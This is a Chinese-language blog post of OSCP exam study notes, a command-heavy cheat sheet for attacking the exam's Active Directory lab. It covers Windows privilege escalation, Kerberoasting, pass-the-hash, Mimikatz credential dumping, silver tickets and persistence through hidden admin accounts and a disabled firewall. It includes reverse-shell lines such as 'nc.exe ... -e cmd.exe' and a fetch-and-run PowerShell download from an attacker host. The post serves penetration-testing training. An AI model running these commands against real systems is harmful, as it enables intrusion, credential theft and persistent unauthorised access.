// 红队渗透 · 2026-07-27

OSCP AD域考试全攻略

这是笔者之前备考时写的相关笔记,现在让ai润色后发出来,希望对备考OSCP的小伙伴们有点帮助~


一、考试结构与战略

1.1 考试环境与攻击路径

考试拓扑:ms01.oscp.exam → ms02.oscp.exam → dc01.oscp.exam
固定攻击路径:Kali → ms01 → ms02 → DC
得分构成:ms01(10分) → ms02(10分) → DC(20分)

1.2 战略核心

  • AD套件占40分,是整场考试最确定性的得分来源
  • 优先攻击AD,再回头处理独立机器
  • 最低通过策略:AD套件(40分) + 两台完整独立机器(40分) = 80分

二、信息收集阶段

2.1 识别域环境

# 判定是否为域控——看端口
nmap -p88,389,445,636,3268 <target>
# 88=Kerberos、389=LDAP、445=SMB、636=LDAPS、3268=Global Catalog

知道是dc域之后,第一步:枚举

2.2 /etc/hosts配置

(每台机器必做)

echo "<DC_IP> dc01.oscp.exam oscp.exam" >> /etc/hosts
echo "<MS01_IP> ms01.oscp.exam" >> /etc/hosts
echo "<MS02_IP> ms02.oscp.exam" >> /etc/hosts

2.3 LDAP枚举

# 1. 基础信息
ldapsearch -H ldap://dc01.oscp.exam -x -s base -b "" namingContexts

# 2. 枚举所有用户
ldapsearch -H ldap://dc01.oscp.exam -x -b "dc=oscp,dc=exam" "(objectClass=user)" sAMAccountName

# 3. 枚举所有组
ldapsearch -H ldap://dc01.oscp.exam -x -b "dc=oscp,dc=exam" "(objectClass=group)" cn

# 4. 获取用户详细信息(含描述字段——常藏密码)
ldapsearch -H ldap://dc01.oscp.exam -x -b "dc=oscp,dc=exam" "(objectClass=user)" * +

# 5. 使用netexec批量枚举
nxc ldap dc01.oscp.exam -u username -p password -M get-desc-users

2.4 Windows本地信息收集

whoami /priv          # 查看权限
net user              # 本地用户
net user /domain      # 域用户
net localgroup        # 本地组
net localgroup administrators  # 管理员组
net group "Domain Admins" /domain  # 域管组
cd \users             # 查看用户目录

PowerShell日志(常见凭据泄露):

type %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

三、Windows提权技巧

3.1 计划任务提权

# 1. 枚举计划任务
schtasks /query /fo LIST /v

# 2. 检查可写的计划任务脚本
icacls C:\scripts\backup.bat
# 如果当前用户有写入权限→修改为反弹shell

# 3. 写入恶意命令
echo C:\Users\Public\nc.exe 10.x.x.x 443 -e cmd.exe > C:\scripts\backup.bat

# 4. 等待计划任务执行(或手动触发)
schtasks /run /tn "BackupTask"

3.2 服务权限提权

# 1. 枚举服务权限
accesschk.exe -uwcqv "Authenticated Users" *
# 或
sc qc <服务名>

# 2. 检查是否有修改服务配置的权限
# 重点:SERVICE_CHANGE_CONFIG、SERVICE_START权限

# 3. 修改服务binPath为恶意程序
sc.exe config VSS binPath="C:\Users\Public\reverse.exe"
sc.exe start VSS

3.3 DLL劫持提权

# 1. 使用ProcMon监控目标进程
# 过滤器:Process Name = backup.exe, Result = NAME NOT FOUND

# 2. 找到缺失的DLL(如winsock.dll)

# 3. 生成恶意DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.x.x.x LPORT=443 -f dll -o evil.dll

# 4. 替换/放置DLL(利用写权限)
# 将evil.dll重命名为目标DLL名,放到程序目录或搜索路径

# 5. 绕过Defender的技巧——远程加载
# 在Kali上共享evil.dll
impacket-smbserver share . -smb2support
# 在目标上执行
\\kali-ip\share\evil.dll  # Windows会加载

3.4 UAC Bypass(fodhelper法)

REG ADD HKCU\Software\Classes\ms-settings\shell\open\command
REG ADD HKCU\Software\Classes\ms-settings\shell\open\command /v DelegateExecute /t REG_SZ
REG ADD HKCU\Software\Classes\ms-settings\shell\open\command /d "cmd.exe" /f
whoami /groups
fodhelper.exe

原理:fodhelper.exe是微软签名的系统程序,manifest中声明了requireAdministrator,启动时自动提权。通过注册表劫持其执行命令。

3.5 内核漏洞提权

枚举到某个高权限端口服务在本地运行→端口转发→exp溢出漏洞提权

# 1. 查看系统补丁
systeminfo
wmic qfe list

# 2. 查找可用exp
searchsploit Windows 10 19042

# 3. 端口转发(如果服务只监听本地)
# 在目标上
netsh interface portproxy add v4tov4 listenport=8080 connectport=8080 connectaddress=127.0.0.1

3.6 Windows路径空格漏洞

# 如果有路径:C:\Program Files\Zero Tier\zt.exe
# 在C:\Program Files\下放置Zero.exe,会被优先执行
# 因为系统会解析为:C:\Program.exe Files\Zero...(错误解析)

3.7 提权检查脚本

https://github.com/itm4n/PrivescCheck/tree/master
https://raw.githubusercontent.com/itm4n/PrivescCheck/refs/heads/master/release/PrivescCheck.ps1

使用:

# 在目标机器上
iex (New-Object Net.WebClient).DownloadString('http://kali/PrivescCheck.ps1')
Invoke-PrivescCheck

四、文件传输全技巧

4.1 Kali到目标(SMB)

# Kali端
impacket-smbserver -smb2support share . 

# 目标端(Windows)
copy \\kali-ip\share\shell.exe C:\Users\Public\
net use \\kali-ip\share

4.2 目标到Kali(Web方式)

目标机器到kali:ms01有web服务,则kali和ms02都能访问,直接通过web(根目录)传文件;curl.exe搭配miniserve

# Kali端启动miniserve
miniserve . -p 80

# 目标端下载
curl http://kali-ip/shell.exe -o shell.exe
certutil -urlcache -f http://kali-ip/shell.exe shell.exe
wget http://kali-ip/shell.exe -OutFile shell.exe

4.3 SMBclient传文件注意事项

# 正确用法:先cd到文件所在目录
cd /path/to/file
smbclient //target/share -U user
put shell.php  # 只传当前目录的文件

# 错误用法(会失败):
put /opt/resources/shell.php

4.4 evil-winrm文件传输

# 上传到绝对路径
upload /kali/shell.exe C:\Users\Public\shell.exe

# 或者使用menu中的上传功能
menu
upload

五、域渗透攻击手法

5.1 Kerberoasting

# 1. 枚举所有SPN
setspn -T oscp.exam -Q */*

# 2. 请求票据
impacket-GetUserSPNs oscp.exam/wade:Password123 -dc-ip 10.x.x.x -request

# 3. 破解
hashcat -m 13100 kerberoast_hash.txt /usr/share/wordlists/rockyou.txt
# 或使用john
john --format=krb5tgs --wordlist=rockyou.txt hash.txt

5.2 AS-REP Roasting

# 不需要密码,枚举未启用预认证的用户
impacket-GetNPUsers oscp.exam/ -dc-ip 10.x.x.x -no-pass -request

# 批量枚举
impacket-GetNPUsers oscp.exam/ -usersfile users.txt -no-pass -dc-ip 10.x.x.x

5.3 Pass the Hash(PtH)

# 使用NTLM哈希直接登录
impacket-psexec oscp.exam/administrator@ms02.oscp.exam -hashes :<NTLM_HASH>
impacket-wmiexec oscp.exam/administrator@ms02.oscp.exam -hashes :<NTLM_HASH>
impacket-smbexec oscp.exam/administrator@ms02.oscp.exam -hashes :<NTLM_HASH>

# 使用evil-winrm(需要WinRM开启)
evil-winrm -i ms02.oscp.exam -u administrator -H <NTLM_HASH>

5.4 Mimikatz抓密码

# 提权后运行
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# 或抓取所有凭证
sekurlsa::ekeys

5.5 银票伪造(Silver Ticket)

# 1. 获取域SID
Get-LocalUser -Name $env:USERNAME | Select sid
# 或使用
wmic useraccount where name='Administrator' get sid

# 2. 获取目标服务的NTLM哈希(如CIFS服务)
# 需要已经拿到服务账号的密码

# 3. 生成银票
impacket-ticketer -nthash <NTLM_HASH> -domain-sid <SID> -domain oscp.exam -spn cifs/dc01.oscp.exam administrator

# 4. 导入票据并访问
export KRB5CCNAME=administrator.ccache
impacket-psexec -k -no-pass dc01.oscp.exam

5.6 LAPS利用

# 如果在LAPS_Readers组,可读取本地管理员密码
# 使用PowerShell
Get-ADComputer -Filter * -Properties ms-MCS-AdmPwd
# 或使用
nxc ldap dc01.oscp.exam -u user -p pass -M laps

5.7 GPP解密(Group Policy Preference)

# 找到groups.xml或cpassword加密值
gpp-decrypt <encrypted_password>
# 通常在SYSVOL\<domain>\Policies\{GUID}\MACHINE\Preferences\Groups\Groups.xml

六、横向移动与权限维持

6.1 runas提权

# 以其他用户身份运行
runas /user:oscp.exam\wade cmd.exe
# 会弹出新窗口,输入密码后获得该用户的shell

6.2 本地持久化

# 添加隐藏管理员
net user hacker Password123! /add
net localgroup administrators hacker /add
net user hacker /active:yes

# 关闭防火墙
netsh advfirewall set allprofiles state off

# 开启3389
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

七、常见漏洞利用场景

7.1 Keepass数据库破解

apt install keepassxc
https://github.com/r3nt0n/keepass4brute
# 找到.kdbx文件后爆破
keepass4brute -f database.kdbx -w rockyou.txt
# 或使用keepassxc-cli
keepassxc-cli export database.kdbx

7.2 SMB匿名访问

# 匿名连接
smbclient //target.ip/share -N
# 或
smbclient //target.ip/share -U "" -N

# 下载文件
get backup.zip
# 破解zip哈希
zip2john backup.zip > hash.txt
john --wordlist=rockyou.txt hash.txt

7.3 MSSQL攻击

impacket-mssqlclient user:pass@domain
export KRB5CNAME=Administrator.ccache
impacket-mssqlclient -k dc.sequel.htb
-- 启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 执行命令
EXEC xp_cmdshell 'whoami';

7.4 Registry备份导出

impacket-reg soupedecode.local/zximena448:internet@192.168.56.126 backup -o '\\192.168.56.104\share'
impacket-secretsdump -system SYSTEM.save -sam SAM.save -security SECURITY.save local

流程:

  1. 使用impacket-reg备份注册表到SMB共享
  2. 使用secretsdump从备份文件中提取密码哈希

八、Metasploit使用策略

8.1 考试限制

  • 整个考试只能在一台机器上完整使用Metasploit
  • msfvenom和multi/handler可自由使用
  • 策略:将MSF权限留给最难搞的机器

8.2 常用参数

msfconsole
# 后台监听
exploit -j
# 收到session后不立即交互
exploit -z
# 自动迁移进程(防掉线)
set AutoRunScript post/windows/manage/migrate

# 单独启动handler
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 4444; exploit -j"

8.3 生成payload

msfvenom windows/x64/exec cmd='net user administrator Admin@123 /domain' -f dll
msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=139 EXITFUNC=thread -f exe-service -o shell_svc.exe

九、NTLM认证相关

9.1 触发NTLM v2认证

# 在目标上访问任意UNC路径触发
dir \\kali-ip\share
# 或
\\kali-ip\share\evil.dll

9.2 NTLM v2 vs NTLM v1

关键区别:

  • NTLM v1可以用于Pass the Hash(无挑战应答)
  • NTLM v2包含时间戳和随机数,不能用于PtH,只能破解

十、考点总结清单

必考技术点(优先级排序)

优先级 技术 笔记位置 考试频率
⭐⭐⭐ Kerberoasting 域渗透核心 几乎必考
⭐⭐⭐ 服务提权(sc config) 提权思路 几乎必考
⭐⭐⭐ 计划任务提权 提权思路 高频
⭐⭐⭐ Pass the Hash 横向移动 高频
⭐⭐ AS-REP Roasting 域渗透 中频
⭐⭐ DLL劫持 提权思路 中频
⭐⭐ LDAP枚举 信息收集 必考
⭐⭐ Mimikatz 抓密码 中频
⭐ UAC Bypass fodhelper 低频
⭐ 银票/金票 域渗透 低频
⭐ LAPS 域渗透 低频
⭐ GPP解密 域渗透 低频

工具清单

# Impacket套件(几乎必用)
impacket-GetUserSPNs
impacket-GetNPUsers
impacket-psexec
impacket-wmiexec
impacket-smbexec
impacket-secretsdump
impacket-ticketer
impacket-reg
impacket-mssqlclient
impacket-smbserver

# 其他
evil-winrm
ldapsearch
nxc (NetExec)
BloodHound
PowerView.ps1
PrivescCheck.ps1
certipy-ad
mimikatz

十一、考试当天流程

11.1 前30分钟

  1. 连接VPN,建立项目目录
  2. 配置/etc/hosts所有目标
  3. 对所有目标执行nmap快速扫描
  4. 根据结果确定攻击优先级(先AD套件)

11.2 AD套件攻击流程

1. 使用考试提供的凭证登录MS01
2. 枚举本地信息(whoami /priv, net user, 找flag)
3. 提权到Administrator/SYSTEM
4. 读取local.txt(10分)
5. 枚举域信息(LDAP、BloodHound)
6. Kerberoasting/AS-REP获取更多凭证
7. 横向移动到MS02(PtH/psexec)
8. 在MS02上重复提权流程
9. 读取local.txt(10分)
10. 从MS02进一步横向到DC
11. 提权到域管理员
12. 读取proof.txt(20分)

11.3 注意事项

  • 每推进一步,都要有攻击链——考试要求整个攻击路径可复现
  • local.txt和proof.txt需要截图保留(含内容+ipconfig/whoami)
  • 不要忘记截图:每次获得权限、每个关键步骤都要截图

最后记住:“oscp考的是信息收集,只有信息收集到位了,不太会掉到rabbit hole里面”。枚举→枚举→再枚举,是OSCP通过的核心密码。

原文 https://blog.csdn.net/2301_79518550/article/details/163236486